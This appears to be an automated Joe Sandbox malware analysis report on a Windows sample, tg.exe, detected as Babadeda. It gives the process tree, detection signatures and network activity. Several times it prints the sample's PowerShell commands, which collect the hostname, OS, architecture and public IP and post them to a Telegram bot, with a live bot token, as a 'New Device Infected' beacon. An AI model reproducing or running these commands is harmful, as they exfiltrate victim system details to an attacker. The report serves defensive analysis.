Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
tg.exe

Overview

General Information

Sample name:tg.exe
Analysis ID:1579564
MD5:f8ecedc88e4d2776486231d0ef0aea5d
SHA1:fccc180c84dec726668d48f09b8a0c1c1fba07a1
SHA256:b5c30a14e79065ea9a095eca6655829aca6272e61b1a73a31fa376ff8b3a793b
Tags:exeuser-aachum
Infos:

Detection

Babadeda
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (overwrites its own PE header)
Multi AV Scanner detection for submitted file
Sigma detected: Check external IP via Powershell
Yara detected Babadeda
AI detected suspicious sample
Machine Learning detection for sample
Uses the Telegram API (likely for C&C communication)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • tg.exe (PID: 7512 cmdline: "C:\Users\user\Desktop\tg.exe" MD5: F8ECEDC88E4D2776486231D0EF0AEA5D)
    • cmd.exe (PID: 7556 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7608 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 7624 cmdline: powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7756 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 7772 cmdline: powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7896 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "$env:COMPUTERNAME" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 7912 cmdline: powershell -Command "$env:COMPUTERNAME" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7992 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "[System.Environment]::OSVersion" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 8008 cmdline: powershell -Command "[System.Environment]::OSVersion" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 8084 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 8100 cmdline: powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • powershell.exe (PID: 8176 cmdline: powershell -Command "Invoke-RestMethod -Uri 'https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage' -Method POST -Body @{chat_id='6734985705' ; text=' @New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189'}" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
BabadedaAccording to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
tg.exeJoeSecurity_BabadedaYara detected BabadedaJoe Security

    Unpacked PEs

    SourceRuleDescriptionAuthorStrings
    0.2.tg.exe.400000.0.unpackJoeSecurity_BabadedaYara detected BabadedaJoe Security
      0.0.tg.exe.400000.0.unpackJoeSecurity_BabadedaYara detected BabadedaJoe Security

        Sigma Signatures

        Sigma detected: Usage Of Web Request Commands And Cmdlets
        Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7556, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", ProcessId: 7756, ProcessName: cmd.exe
        Sigma detected: Non Interactive PowerShell Process Spawned
        Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')", CommandLine: powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')", ProcessId: 7624, ProcessName: powershell.exe

        Language, Device and Operating System Detection

        barindex
        Sigma detected: Check external IP via Powershell
        Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7556, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')", ProcessId: 7756, ProcessName: cmd.exe

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Multi AV Scanner detection for submitted file
        Source: tg.exeReversingLabs: Detection: 23%
        Source: tg.exeVirustotal: Detection: 30%Perma Link
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
        Machine Learning detection for sample
        Source: tg.exeJoe Sandbox ML: detected

        Compliance

        barindex
        Detected unpacking (overwrites its own PE header)
        Source: C:\Users\user\Desktop\tg.exeUnpacked PE file: 0.2.tg.exe.400000.0.unpack
        Source: tg.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: unknownHTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49730 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49731 version: TLS 1.2
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmpJump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.tmpJump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmpJump to behavior

        Networking

        barindex
        Uses the Telegram API (likely for C&C communication)
        Source: unknownDNS query: name: api.telegram.org
        Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
        Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
        Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
        Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
        Source: unknownDNS query: name: api.ipify.org
        Source: unknownDNS query: name: api.ipify.org
        Source: global trafficHTTP traffic detected: GET /?format=text HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.ipify.orgConnection: Keep-Alive
        Source: global trafficHTTP traffic detected: POST /bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 260Expect: 100-continueConnection: Keep-Alive
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /?format=text HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.ipify.orgConnection: Keep-Alive
        Source: global trafficDNS traffic detected: DNS query: api.ipify.org
        Source: global trafficDNS traffic detected: DNS query: api.telegram.org
        Source: unknownHTTP traffic detected: POST /bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 260Expect: 100-continueConnection: Keep-Alive
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3803000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
        Source: powershell.exe, 0000000D.00000002.1790067889.000001F2B0694000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3BE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C23D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B2221000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B2221000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
        Source: tg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipi
        Source: tg.exe, 00000000.00000002.4150843497.0000000000950000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000940000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmp, D274.bat.0.drString found in binary or memory: https://api.ipify.org?format=text
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B383B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.tele
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B356A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
        Source: tg.exe, 00000000.00000002.4150843497.0000000000950000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000940000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmp, D274.bat.0.drString found in binary or memory: https://api.telegram.org/bot%botToken%/sendMessage
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B2221000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage
        Source: powershell.exe, 0000000D.00000002.1811694654.000001F2CA5E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7879910740:aaempll82moqqk9txwsc5yk5uz56ixr0bzq/sendmessage
        Source: powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
        Source: powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
        Source: powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B2E52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B3BE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C23D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
        Source: powershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
        Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
        Source: unknownHTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49730 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49731 version: TLS 1.2
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040C8980_2_0040C898
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040E9500_2_0040E950
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004109100_2_00410910
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004109D90_2_004109D9
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004105E00_2_004105E0
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004115800_2_00411580
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004109930_2_00410993
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004106000_2_00410600
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040B3470_2_0040B347
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040F3C80_2_0040F3C8
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BABCBE013_2_00007FFD9BABCBE0
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BABE18513_2_00007FFD9BABE185
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BABE0FC13_2_00007FFD9BABE0FC
        Source: tg.exe, 00000000.00000002.4150419992.0000000000570000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exej% vs tg.exe
        Source: tg.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: classification engineClassification label: mal84.troj.spyw.evad.winEXE@26/14@2/2
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_004026B8 LoadResource,SizeofResource,FreeResource,0_2_004026B8
        Source: C:\Windows\System32\cmd.exeFile created: C:\Users\user\AppData\Roaming\SystemJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
        Source: C:\Users\user\Desktop\tg.exeFile created: C:\Users\user\AppData\Local\Temp\D272.tmpJump to behavior
        Source: C:\Users\user\Desktop\tg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe"
        Source: C:\Users\user\Desktop\tg.exeFile read: C:\Users\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\tg.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: tg.exeReversingLabs: Detection: 23%
        Source: tg.exeVirustotal: Detection: 30%
        Source: unknownProcess created: C:\Users\user\Desktop\tg.exe "C:\Users\user\Desktop\tg.exe"
        Source: C:\Users\user\Desktop\tg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "$env:COMPUTERNAME"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$env:COMPUTERNAME"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "[System.Environment]::OSVersion"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "[System.Environment]::OSVersion"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-RestMethod -Uri 'https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage' -Method POST -Body @{chat_id='6734985705' ; text=' @New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189'}"
        Source: C:\Users\user\Desktop\tg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "$env:COMPUTERNAME"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "[System.Environment]::OSVersion"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-RestMethod -Uri 'https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage' -Method POST -Body @{chat_id='6734985705' ; text=' @New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189'}"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$env:COMPUTERNAME"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "[System.Environment]::OSVersion"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: winmm.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: slc.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: pcacli.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeSection loaded: sfc_os.dllJump to behavior
        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
